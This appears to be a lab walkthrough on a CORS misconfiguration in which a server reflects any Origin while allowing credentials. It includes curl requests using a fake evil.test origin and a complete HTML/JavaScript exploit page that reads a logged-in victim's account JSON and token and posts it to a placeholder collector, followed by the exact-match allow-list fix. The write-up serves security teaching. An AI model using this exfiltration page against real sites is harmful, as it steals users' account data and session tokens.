Lab credentials: admin / password. Logging in sets a session cookie (cors26_auth, SameSite=None; Secure — note that posture; it matters for the attack).
/me call in repeater. Reply: {username, email, token} — and two headers to hunt: access-control-allow-credentials and access-control-allow-origin.Origin: test.com and resend. The reply's access-control-allow-origin comes back as test.com — your header, reflected verbatim. That means every origin on the internet is an allowed origin.access-control-allow-credentials: true tells the browser that cross-origin reads with cookies are permitted. Reflection + credentials = the worst combination.fetch('https://stuxnet.pro/cors/lab26/me.php', {credentials: 'include'}) — credentials:'include' is the whole trick: it sends the victim's target-domain cookies with the request. The reply lands as .json() in the page, and the last line exfiltrates it to your collector.SameSite=None, the permissive posture real apps ship), the response is read cross-origin because your origin was reflected as allowed. Data saved to your endpoint.access-control-allow-credentials: true in the reply, ② access-control-allow-origin reflects a value you control in its request. One https site required on your side — HTTP pages cannot send cookies cross-origin, browsers refuse.Modern honesty: browsers increasingly block third-party cookies, which can mute the live browser demo — but the server-side flaw is not blocked by anything: the reflection is provable without a browser (below), and the misconfiguration is the finding.
# unauthenticated: the CORS flaw fires even on the 401
curl -s -m 15 'https://stuxnet.pro/cors/lab26/me.php' \
-H 'Origin: https://evil.test' -i | head -8
→ HTTP/1.1 401 … access-control-allow-origin: https://evil.test
access-control-allow-credentials: true
→ {"error":"not logged in — the CORS headers above still fire"}
# logged in: any origin reads the data
curl -s -m 15 'https://stuxnet.pro/cors/lab26/me.php' \
-H 'Origin: https://evil.test' -b 'cors26_auth=1'
→ {"username":"admin","email":"admin@example-app.com","token":"eyJ…"}
Swap https://evil.test for any domain — the reply mirrors whatever you send. That is the entire vulnerability in two curls: the header answers you, not the app.
<!DOCTYPE html>
<script>
fetch('https://stuxnet.pro/cors/lab26/me.php', {
credentials: 'include' // victim's cookies ride along
})
.then(r => r.json())
.then(d => {
fetch('https://YOUR-COLLECTOR/save', { // your endpoint keeps it
method: 'POST',
body: JSON.stringify(d)
});
});
</script>
"Lorem ipsum" — an innocent-looking page.
Anything with YOUR-COLLECTOR is yours: a request-bin, your own server's /save, the same xss.report collector habit from the blind-XSS labs. Serve it over HTTPS (HTTP page → no cookies sent → no data), visit it while logged into the target, and the account's JSON is now in your collector. For the classroom the two curls above prove the leak; this page is how it lands in a report.
ACAO: * + ACA-Credentials: true → invalid pairing; browsers reject it
ACAO: * + ACA-Credentials: false → safe-ish; public data only
ACAO: <reflected> + ACA-Credentials: true → THE flaw (this lab)
ACAO: <allow-list> (exact match + VaryOrigin) → the fix; never substitute
Origin checking for authz
Why reflection exists in bad code: * cannot legally stand in when credentials are allowed, so naive servers "fix" it by echoing the caller's Origin — which is the same as saying everyone. The good fix is an exact-match allow-list kept server-side, plus keeping authorization out of CORS entirely (CORS is browser-user-agent behavior; curl never obeyed it anyway).
CORS — the reflected origin
Cross-Origin Resource Sharing